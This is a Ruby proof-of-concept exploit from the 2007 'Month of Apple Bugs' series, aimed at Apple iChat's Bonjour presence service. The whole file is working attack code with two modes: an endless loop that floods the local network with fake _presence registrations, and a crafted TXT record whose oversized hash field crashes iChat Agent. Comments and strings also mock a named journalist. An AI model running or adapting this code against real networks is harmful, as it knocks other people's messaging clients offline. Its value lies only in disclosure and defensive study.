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MOAB-29-01-2007.rb.txt

Posted on 31 January 2007

#!/usr/bin/ruby
# (c) 2006 Lance M. Havok <lmh [at] info-pull.com>
# All Rights Reserved.
# basic proof of concept for MOAB-29-01-2007
#

require 'digest/sha1'
require 'rubygems'
require 'net/dns/mdns-sd'

bugselected = (ARGV[0] || "0").to_i
TMP_ARR     = []
DNSSD       = Net::DNS::MDNSSD

trap("INT") {
puts "++ Exiting..."
begin
TMP_ARR.each do |o|
o.stop
end
rescue
end

exit
}

#
# This method abuses a design weakness in iChat Bonjour services, allowing an user
# to conduct a denial of service attack against reachable clients by registering multiple
# (fake) _presence records.
#
def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,
firstname  = 'Pwnies',
lastname   = 'Mgheetacek')

available_status  = [ "avail", "away" ]
cur_status        = available_status[rand(available_status.size)]

# the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html)
keyset = {  "status"    => cur_status,                                # - presence availability of the user
"msg"       => status_msg,                                # - user's state
"vc"        => "CUAV!",                                   # - user's ability for A/V conferencing
"1st"       => firstname,                                 # - first name of the user
"last"      => lastname,                                  # - last name of the user
"txtvers"   => "1",                                       # - version of the TXT fields supported
"phsh"      => Digest::SHA1.hexdigest(rand(0xffffffff).to_s),  # - fake SHA-1 hash of icon
"port.p2pj" => "1337"                                     # - Port for link-local communications
# (ignored).
}

count = 0
while true
rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse
(rand_str.length-1).downto(1) do |c|
n = rand(c) + 1
rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
end

puts "++ Registering presence #{count}"
# TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)
dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)
#sleep 40
TMP_ARR << dos_handle
count += 1
end
end

#
# This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash.
# Program received signal SIGTRAP, Trace/breakpoint trap.
# 0x9262050b in _NSRaiseError ()
#
def format_dos()
keyset = {  "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",
"last" => "Seltzer", "txtvers" => "1", "phsh" => ("250" * 40),
"port.p2pj" => "1337" }

rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse
(rand_str.length-1).downto(1) do |c|
n = rand(c) + 1
rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
end

dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)
dos_handle.stop
end

#
# Proof of concept method selection below.
#

puts "++ MOAB-29-01-2007: iChat Bonjour Fun"
puts "++ Selected target: #{bugselected}"
case bugselected
when 0
format_dos()
when 1
if (ARGV[1] and ARGV[2] and ARGV[3])
oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3])
else
oh_gnoes_contact_dos()
end
end

 

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